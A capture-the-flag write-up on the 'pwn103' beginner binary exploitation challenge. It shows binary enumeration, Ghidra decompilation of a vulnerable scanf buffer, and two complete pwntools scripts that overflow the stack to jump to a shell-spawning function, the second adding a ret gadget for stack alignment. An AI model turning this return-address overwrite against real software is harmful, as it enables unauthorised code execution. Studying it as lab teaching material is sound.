Beginner level binary exploitation challenges.
Enumeration
We have another ELF binary, we run the file command to do some basic enum:
pwn103.pwn103: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3df2200610f5e40aa42eadb73597910054cf4c9f, for GNU/Linux 3.2.0, not stripped
We can check other compilation info such as the protections in the binary:
syn@deb64:~/ctf/pwn101/3$ checksec --file pwn103.pwn103
[*] '/home/syn/ctf/pwn101/3/pwn103.pwn103'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
We don’t have any stack protection and can isn’t position independent. Let’s look into this further with ghidra:
We have a lot of functions to sift through, only a few of these take input but if we check general, we see there’s as variable with a specified buffer:
void general(void)
{
int iVar1;
char local_28 [32];
puts(&DAT_004023aa);
puts(&DAT_004023c0);
puts(&DAT_004023e8);
puts(&DAT_00402418);
printf("------[pwner]: ");
__isoc99_scanf(&DAT_0040245c,local_28);
iVar1 = strcmp(local_28,"yes");
if (iVar1 == 0) {
puts(&DAT_00402463);
main();
}
else {
puts(&DAT_0040247f);
}
return;
}
There’s also a scanf function that reads to this variable, checking the asm we see that this is at rbp-0x20:
004012be 55 PUSH RBP
004012bf 48 89 e5 MOV RBP,RSP
004012c2 48 83 ec 20 SUB RSP,0x20
It’s also worth noting the program flow, we want the “else” condition to be met so that the program returns, it return is where we’re going to overwrite to get a payload to execute. In our case, we can use the “admins_only” function to get a shell:
void admins_only(void)
{
puts(&DAT_00403267);
puts(&DAT_0040327c);
system("/bin/sh");
return;
}
For this, we need to understand how “call” works. Call is similar to jump, in terms of it moves from one address to another, typically between functions. However, a call is non-conditional. A call pushes the address of said function to the stack and uses a “jmp” instruction to get there. After the execution of the function, a “ret” instruction is called. This effectively pops the address of the previous address.
Scripting
Let’s get to writing the exploit, as always I’ll use python and pwn tools:
import sys
from pwn import *
local = None
ip = None
port = None
binPath = None
def genPayload(adminOnly):
## Overwrite RBP - 0x20 until we overwrite rbp, write address of admin only function
payload = b"A"*0x20 + b"B" * 0x8 + adminOnly
return payload
def main():
context.binary = binary = ELF(binPath)
payload = genPayload(p64(binary.symbols.admins_only))
## Local or remote
if local is True:
p = process()
else:
p = remote(ip, port)
## Select menu option
p.sendline(b"3")
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
if sys.argv[1].lower() == "remote":
if len(sys.argv) < 4:
print("Usage: " + sys.argv[0] + "remote <ip:port> </path/to/binary>")
exit()
ip,port = sys.argv[2].split(":")
binPath = sys.argv[3]
else:
if len(sys.argv) < 3:
print("Usage: " + sys.argv[0] + "local </path/to/binary>")
exit()
binPath = sys.argv[2]
local = True
main()
We run the script and get a shell:
However, if we try recreate this remotely:
No luck, running commands causes the shell to die. Why is this? If we look back at the box’s description regarding the back-end OS:
You're working with an Ubuntu 18.04 LTS VM, so there will be stack alignment issues, make sure to add a ret gadget to solve it.
After some research, I found this:
The MOVAPS issue
If you’re segfaulting on a
https://ropemporium.com/guide.htmlmovaps
instruction inbuffered_vfprintf()
ordo_system()
in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such asprintf()
orsystem()
. Some versions of GLIBC usesmovaps
instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before acall
instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack.movaps
triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extraret
before returning into a function or return further into a function to skip apush
instruction.
We can pad out with a ret instruction to get this working, we can pick the address of any ret function to do this. Since this isn’t position independent we can just hard code one:
import sys
from pwn import *
local = None
ip = None
port = None
binPath = None
retAddr = p64(0x00401377)
def genPayload(adminOnly):
## Overwrite RBP - 0x20 until we overwrite rbp, write address of admin only function
payload = b"A"*0x20 + b"B" * 0x8 + retAddr + adminOnly
return payload
def main():
context.binary = binary = ELF(binPath)
payload = genPayload(p64(binary.symbols.admins_only))
## Local or remote
if local is True:
p = process()
else:
p = remote(ip, port)
## Select menu option
p.sendline(b"3")
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
if sys.argv[1].lower() == "remote":
if len(sys.argv) < 4:
print("Usage: " + sys.argv[0] + "remote <ip:port> </path/to/binary>")
exit()
ip,port = sys.argv[2].split(":")
binPath = sys.argv[3]
else:
if len(sys.argv) < 3:
print("Usage: " + sys.argv[0] + "local </path/to/binary>")
exit()
binPath = sys.argv[2]
local = True
main()
We retest and can now run commands.